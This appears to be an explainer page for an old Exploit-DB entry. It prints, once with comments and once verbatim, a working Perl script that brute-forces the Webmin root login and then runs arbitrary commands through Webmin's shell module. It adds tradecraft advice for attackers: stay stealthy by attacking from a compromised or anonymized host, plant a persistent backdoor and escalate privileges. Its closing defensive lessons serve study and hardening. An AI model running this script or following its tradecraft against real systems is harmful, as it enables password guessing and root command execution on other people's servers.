Webmin Brute-Force and Command Execution Exploit Explained

Webmin Brute-Force and Command Execution Exploit Explained
What this paper is
This paper details a Perl script that exploits a vulnerability in older versions of Webmin. The script first attempts to brute-force the 'root' user's password by trying single characters sequentially. Once a valid session is established, it obtains a session ID (SID). With the SID, it then sends a second request to execute an arbitrary command provided by the user on the target system.
Simple technical breakdown
The script works in two main phases:
Brute-Force Login:
- It connects to the Webmin service (default port 10000) on the target host.
- It sends POST requests to
/session_login.cgiwith the usernamerootand a progressively increasing password (starting with 'a', then 'b', 'c', etc.). - It parses the response for a valid session ID (
sid=...;). This indicates a successful login.
Command Execution:
- Once a valid SID is found, it establishes a new connection.
- It sends a POST request to
/shell/index.cgiusing the obtained SID. - This request is formatted as
multipart/form-dataand includes the user-specified command, along with other parameters like current directory and previous command. - The script then captures and prints the output returned by the Webmin shell.
Complete code and payload walkthrough
The provided Perl script uses the IO::Socket module for network communication.
#!/usr/bin/perl
##
# Webmin BruteForce + Command execution - By Di42lo <DiAblo_2@012.net.il>
#
# usage
# ./bruteforce.webmin.pl <host> <command>
#
#./bruteforce.webmin.pl 192.168.0.5 "uptime"
# [+] BruteForcing...
# [+] trying to enter with: admim
# [+] trying to enter with: admin
# [+] Found SID : f3231ff32849fa0c8c98487ba8c09dbb
# [+] Password : admin
# [+] Connecting to host once again
# [+] Connected.. Sending Buffer
# [+] Buffer sent...running command uptime
# root logged into Webmin 1.170 on linux (SuSE Linux 9.1)
# 10:55pm up 23 days 9:03, 1 user, load average: 0.20, 0.05, 0.01
use IO::Socket; # Imports the module for socket programming.
# Argument checking:
if (@ARGV<2){ print "Webmin BruteForcer\nusage:\n$0 <host> <command>\n"; exit; } # Checks if at least two command-line arguments (host and command) are provided. If not, prints usage and exits.
my $host=$ARGV[0]; # Stores the first argument as the target host.
my $cmd=$ARGV[1]; # Stores the second argument as the command to execute.
# Initialization for brute-force:
my $pass="a"; # Starts the password brute-force with 'a'.
my $chk=0; # Flag to indicate if a valid SID has been found (0 = not found, 1 = found).
# Initial check for Webmin service:
my $sock = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$host", PeerPort => "10000") # Attempts to create a TCP socket to the target host on port 10000.
|| die "[-] Webmin on this host does not exist\r\n"; # If connection fails, prints an error and exits.
$sock->close; # Closes the initial socket as it was only for checking.
print "[+] BruteForcing...\n"; # Informs the user that brute-forcing has started.
my $sid; # Variable to store the found session ID.
# Brute-force loop:
while ($chk!=1) { # Continues as long as a valid SID ($chk is 0).
$pass++; # Increments the password character (e.g., 'a' -> 'b', 'b' -> 'c').
# Constructing the login POST request:
my $pass_line="page=%2F&user=root&pass=$pass"; # URL-encoded string for username, password, and page.
my $buffer="POST /session_login.cgi HTTP/1.0\n". # HTTP POST request for login.
"Host: $host:10000\n".
"Keep-Alive: 300\n".
"Connection: keep-alive\n".
"Referer: http://$host:10000/\n".
"Cookie: testing=1\n".
"Content-Type: application/x-www-form-urlencoded\n".
"Content-Length: __\n". # Placeholder for content length.
"\n".
$pass_line."\n\n"; # The actual POST data.
my $line_size=length($pass_line); # Calculates the length of the password line.
$buffer=~s/__/$line_size/g; # Replaces the '__' placeholder with the actual content length.
# Attempting connection and login:
my $sock = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$host", PeerPort => "10000"); # Creates a new socket for the current attempt.
if ($sock) # If the socket was successfully created:
{
print "[+] trying to enter with: $pass\n"; # Prints the password being tried.
print $sock $buffer; # Sends the crafted HTTP request.
# Reading the response:
while ($answer=<$sock>) # Reads the response line by line.
{
if ($answer=~/sid=(.*);/g) # Parses the response for a line containing 'sid=' followed by characters until a semicolon.
{
$chk=1; # Sets the flag to 1, indicating a successful login.
$sid=$1; # Stores the captured SID.
print "[+] Found SID : $sid\n"; # Prints the found SID.
print "[+] Password : $pass\n"; # Prints the found password.
}
}
}
$sock->close; # Closes the socket for this attempt.
} # End of while loop (brute-force)
# Command execution phase:
print "[+] Connecting to host once again\n"; # Informs the user about the second connection.
$sock = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$host", PeerPort => "10000") || # Creates a new socket for command execution.
die "[-] Cant Connect once again for command execution\n"; # Exits if connection fails.
print "[+] Connected.. Sending Buffer\n"; # Informs that the connection is established.
# Constructing the command execution POST request (multipart/form-data):
my $temp="-----------------------------19777347561180971495777867604\n". # Start of a multipart boundary.
"Content-Disposition: form-data; name=\"cmd\"\n". # Form field for the command.
"\n".
"$cmd\n". # The actual command to execute.
"-----------------------------19777347561180971495777867604\n".
"Content-Disposition: form-data; name=\"pwd\"\n". # Form field for current directory.
"\n".
"/root\n". # Sets the current directory to /root.
"-----------------------------19777347561180971495777867604\n".
"Content-Disposition: form-data; name=\"history\"\n". # Form field for command history (empty).
"\n".
"\n".
"-----------------------------19777347561180971495777867604\n".
"Content-Disposition: form-data; name=\"previous\"\n". # Form field for previous command.
"\n".
"$cmd\n". # Sets the previous command to the current command.
"-----------------------------19777347561180971495777867604\n".
"Content-Disposition: form-data; name=\"pcmd\"\n". # Form field for previous command (again, likely redundant).
"\n".
"$cmd\n". # Sets the previous command again.
"-----------------------------19777347561180971495777867604--\n\n"; # End of the multipart boundary.
my $buffer_size=length($temp); # Calculates the length of the multipart body.
# Constructing the full HTTP request for command execution:
$buffer="POST /shell/index.cgi HTTP/1.1\n". # HTTP POST request to the shell CGI.
"Host: $host:10000\n".
"Keep-Alive: 300\n".
"Connection: keep-alive\n".
"Referer: http://$host:10000/shell/\n". # Referer header pointing to the shell page.
"Cookie: sid=$sid\; testing=1; x\n". # Includes the found SID and other cookies.
"Content-Type: multipart/form-data; boundary=---------------------------19777347561180971495777867604\n". # Specifies multipart/form-data content type with the boundary.
"Content-Length: siz\n". # Placeholder for content length.
"\n".
$temp; # The multipart body.
$buffer=~s/siz/$buffer_size/g; # Replaces the 'siz' placeholder with the actual body length.
# Sending the command and processing output:
if ($sock) # If the socket is valid:
{
print "[+] Buffer sent...running command $cmd\n"; # Informs that the buffer is being sent.
print $sock $buffer; # Sends the crafted HTTP request with the command.
# Reading and printing the output:
while ($answer=<$sock>) # Reads the response line by line.
{
#print $answer; # This line is commented out, but would print all raw response.
if ($answer=~/defaultStatus="(.*)";/g) { print $1."\n";} # Extracts and prints the value of 'defaultStatus' attribute. This often contains command execution status or errors.
if ($answer=~/<td><pre><b>>/g) # Detects the start of the command output block (often indicated by '>').
{
$cmd_chk=1; # Sets a flag to start capturing command output.
}
if ($cmd_chk==1) # If we are in the command output capture mode:
{
if ($answer=~/<\/pre><\/td><\/tr>/g) # Detects the end of the command output block.
{
exit; # Exits the script after capturing the full output.
} else { print $answer; } # Prints the current line of command output.
}
}
}
# milw0rm.com [2004-12-22] # Source attribution.Mapping of code fragments to practical purpose:
use IO::Socket;: Enables network socket operations.if (@ARGV<2): Handles incorrect command-line arguments.my $host=$ARGV[0]; my $cmd=$ARGV[1];: Captures target host and command from arguments.my $pass="a"; my $chk=0;: Initializes brute-force variables.IO::Socket::INET->new(...) || die ...; $sock->close;: Checks if Webmin is reachable on port 10000.while ($chk!=1): The main loop for trying different passwords.$pass++;: Increments the password character.my $pass_line="page=%2F&user=root&pass=$pass";: Formats the login data.my $buffer="POST /session_login.cgi ..."; $buffer=~s/__/$line_size/g;: Constructs and finalizes the login POST request.my $sock = IO::Socket::INET->new(...) ... print $sock $buffer;: Connects and sends the login request.while ($answer=<$sock>) { if ($answer=~/sid=(.*);/g) { ... } }: Parses the response to find the session ID.$sock = IO::Socket::INET->new(...) ...: Establishes a new connection for command execution.my $temp="...": Defines the multipart/form-data body for the command execution request. This includes the command, current directory, and history.$buffer="POST /shell/index.cgi ..."; $buffer=~s/siz/$buffer_size/g;: Constructs and finalizes the command execution POST request.print $sock $buffer;: Sends the command execution request.while ($answer=<$sock>) { if ($answer=~/defaultStatus="(.*)";/g) ... if ($answer=~/<td><pre><b>>/g) ... if ($answer=~/<\/pre><\/td><\/tr>/g) { exit; } else { print $answer; } }: Parses the response to extract and print the command's output.
Practical details for offensive operations teams
- Required Access Level: No prior access is strictly required beyond network reachability to the target's Webmin port (default 10000). However, this exploit targets the
rootuser's credentials. - Lab Preconditions:
- A target system running a vulnerable version of Webmin (prior to significant security hardening or patch levels).
- Network connectivity to the target's Webmin port (TCP/10000).
- A controlled environment to test the script without impacting production systems.
- Tooling Assumptions:
- Perl interpreter installed on the attacker's machine.
- The
IO::SocketPerl module (usually included with standard Perl installations).
- Execution Pitfalls:
- Brute-Force Speed: The script increments the password character by character. If the password is long or complex, this brute-force will take an extremely long time, potentially days or weeks, making it impractical for many engagements. The example shows "admin" being found quickly, implying a weak password or a very short password.
- Webmin Version/Configuration: The exploit relies on specific behaviors of older Webmin versions. Newer versions, or those with different configurations (e.g., different port, stricter authentication, or network access controls), will not be vulnerable.
- Network Latency/Packet Loss: High latency or packet loss can cause socket operations to fail or time out, leading to script termination or incorrect results.
- Firewalls/IDS/IPS: Network security devices might detect the brute-force attempts or the unusual POST requests to
/shell/index.cgi, leading to blocking or alerting. - Rate Limiting: Webmin or the underlying system might implement rate limiting on login attempts, preventing successful brute-forcing.
- Error Handling: The script's error handling is basic. A failed connection or unexpected response might cause it to exit without clear information.
- Command Output Parsing: The output parsing is fragile and relies on specific HTML structures. If Webmin's output format changes, the script might fail to display the command results correctly.
- Tradecraft Considerations:
- Stealth: The brute-force phase is noisy and easily detectable. It's best performed from a compromised host within the network or via a highly anonymized connection if stealth is paramount.
- Targeted Brute-Force: If there's any intelligence about potential root passwords (e.g., common defaults, leaked credentials), these should be tried first before resorting to character-by-character brute-force.
- Post-Exploitation: Once command execution is achieved, the immediate goal would be to establish a more persistent and stealthy backdoor, gather further intelligence, and escalate privileges if necessary.
- Payload Delivery: The command execution is limited to what can be passed as a single command string. For more complex operations, this might involve downloading a larger payload or executing a script.
Where this was used and when
This exploit paper was published in December 2004. At that time, Webmin was a popular web-based interface for Unix-like systems. Vulnerabilities like this were common in web applications that lacked robust security controls. This type of exploit would have been relevant for attackers targeting systems that had Webmin installed and running with default or weak credentials, likely in the early to mid-2000s. It's unlikely to be effective against modern, patched Webmin installations.
Defensive lessons for modern teams
- Keep Software Updated: Regularly patch and update all installed software, especially web-based management interfaces like Webmin.
- Strong Passwords and Authentication: Enforce strong, unique passwords for all administrative accounts. Consider implementing multi-factor authentication (MFA) if available.
- Network Segmentation and Access Control: Restrict access to management interfaces like Webmin to only necessary internal networks or specific IP addresses. Do not expose them directly to the internet.
- Web Application Firewalls (WAFs): Deploy WAFs to detect and block malicious HTTP requests, including brute-force attempts and attempts to exploit known vulnerabilities.
- Intrusion Detection/Prevention Systems (IDS/IPS): Configure IDS/IPS to monitor network traffic for suspicious patterns, such as repeated failed login attempts or unusual requests to management interfaces.
- Logging and Monitoring: Ensure comprehensive logging of authentication attempts and administrative actions. Regularly review logs for anomalies.
- Disable Unnecessary Services: If Webmin is not actively needed, disable or uninstall it to reduce the attack surface.
- Secure Configuration: Review Webmin's configuration for security best practices, such as disabling unnecessary modules or features.
ASCII visual (if applicable)
This exploit involves a sequential network interaction, which can be visualized as a simple flow:
+-----------------+ +-----------------+ +-----------------+
| Attacker's Host |----->| Target Webmin |----->| Target System |
| (Perl Script) | | (Port 10000) | | (OS Commands) |
+-----------------+ +-----------------+ +-----------------+
| ^
| 1. Brute-Force | 3. Command Execution
| Login Attempt | Response
| |
+------------------------+
2. Found SID -> Used for next connectionExplanation:
- The attacker's host runs the Perl script.
- The script initiates a connection to the target Webmin service.
- It sends login attempts (brute-force) and receives responses to find a valid session ID (SID).
- Once a SID is found, it establishes a new connection.
- It sends a request containing the command to execute, using the obtained SID.
- The target Webmin service processes the command and returns the output.
- The attacker's script captures and displays this output.
Source references
- Paper ID: 705
- Paper Title: Webmin - Brute Force / Command Execution
- Author: Di42lo
- Published: 2004-12-22
- Keywords: Multiple,remote
- Paper URL: https://www.exploit-db.com/papers/705
- Raw URL: https://www.exploit-db.com/raw/705
Original Exploit-DB Content (Verbatim)
#!/usr/bin/perl
##
# Webmin BruteForce + Command execution - By Di42lo <DiAblo_2@012.net.il>
#
# usage
# ./bruteforce.webmin.pl <host> <command>
#
#./bruteforce.webmin.pl 192.168.0.5 "uptime"
# [+] BruteForcing...
# [+] trying to enter with: admim
# [+] trying to enter with: admin
# [+] Found SID : f3231ff32849fa0c8c98487ba8c09dbb
# [+] Password : admin
# [+] Connecting to host once again
# [+] Connected.. Sending Buffer
# [+] Buffer sent...running command uptime
# root logged into Webmin 1.170 on linux (SuSE Linux 9.1)
# 10:55pm up 23 days 9:03, 1 user, load average: 0.20, 0.05, 0.01
use IO::Socket;
if (@ARGV<2){ print "Webmin BruteForcer\nusage:\n$0 <host> <command>\n"; exit; }
my $host=$ARGV[0];
my $cmd=$ARGV[1];
#start pass:
my $pass="a";
my $chk=0;
my $sock = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$host", PeerPort => "10000")
|| die "[-] Webmin on this host does not exist\r\n";
$sock->close;
print "[+] BruteForcing...\n";
my $sid;
while ($chk!=1) {
$pass++;
my $pass_line="page=%2F&user=root&pass=$pass";
my $buffer="POST /session_login.cgi HTTP/1.0\n".
"Host: $host:10000\n".
"Keep-Alive: 300\n".
"Connection: keep-alive\n".
"Referer: http://$host:10000/\n".
"Cookie: testing=1\n".
"Content-Type: application/x-www-form-urlencoded\n".
"Content-Length: __\n".
"\n".
$pass_line."\n\n";
my $line_size=length($pass_line);
$buffer=~s/__/$line_size/g;
my $sock = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$host", PeerPort => "10000");
if ($sock)
{
print "[+] trying to enter with: $pass\n";
print $sock $buffer;
while ($answer=<$sock>)
{
if ($answer=~/sid=(.*);/g)
{
$chk=1;
$sid=$1;
print "[+] Found SID : $sid\n";
print "[+] Password : $pass\n";
}
}
}
$sock->close;
}
print "[+] Connecting to host once again\n";
$sock = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$host", PeerPort => "10000") ||
die "[-] Cant Connect once again for command execution\n";
print "[+] Connected.. Sending Buffer\n";
my $temp="-----------------------------19777347561180971495777867604\n".
"Content-Disposition: form-data; name=\"cmd\"\n".
"\n".
"$cmd\n".
"-----------------------------19777347561180971495777867604\n".
"Content-Disposition: form-data; name=\"pwd\"\n".
"\n".
"/root\n".
"-----------------------------19777347561180971495777867604\n".
"Content-Disposition: form-data; name=\"history\"\n".
"\n".
"\n".
"-----------------------------19777347561180971495777867604\n".
"Content-Disposition: form-data; name=\"previous\"\n".
"\n".
"$cmd\n".
"-----------------------------19777347561180971495777867604\n".
"Content-Disposition: form-data; name=\"pcmd\"\n".
"\n".
"$cmd\n".
"-----------------------------19777347561180971495777867604--\n\n";
my $buffer_size=length($temp);
$buffer="POST /shell/index.cgi HTTP/1.1\n".
"Host: $host:10000\n".
"Keep-Alive: 300\n".
"Connection: keep-alive\n".
"Referer: http://$host:10000/shell/\n".
"Cookie: sid=$sid\; testing=1; x\n".
"Content-Type: multipart/form-data; boundary=---------------------------19777347561180971495777867604\n".
"Content-Length: siz\n".
"\n".
$temp;
$buffer=~s/siz/$buffer_size/g;
print $sock $buffer;
if ($sock)
{
print "[+] Buffer sent...running command $cmd\n";
print $sock $buffer;
while ($answer=<$sock>)
{
#print $answer;
if ($answer=~/defaultStatus="(.*)";/g) { print $1."\n";}
if ($answer=~/<td><pre><b>>/g)
{
$cmd_chk=1;
}
if ($cmd_chk==1)
{
if ($answer=~/<\/pre><\/td><\/tr>/g)
{
exit;
} else { print $answer; }
}
}
}
# milw0rm.com [2004-12-22]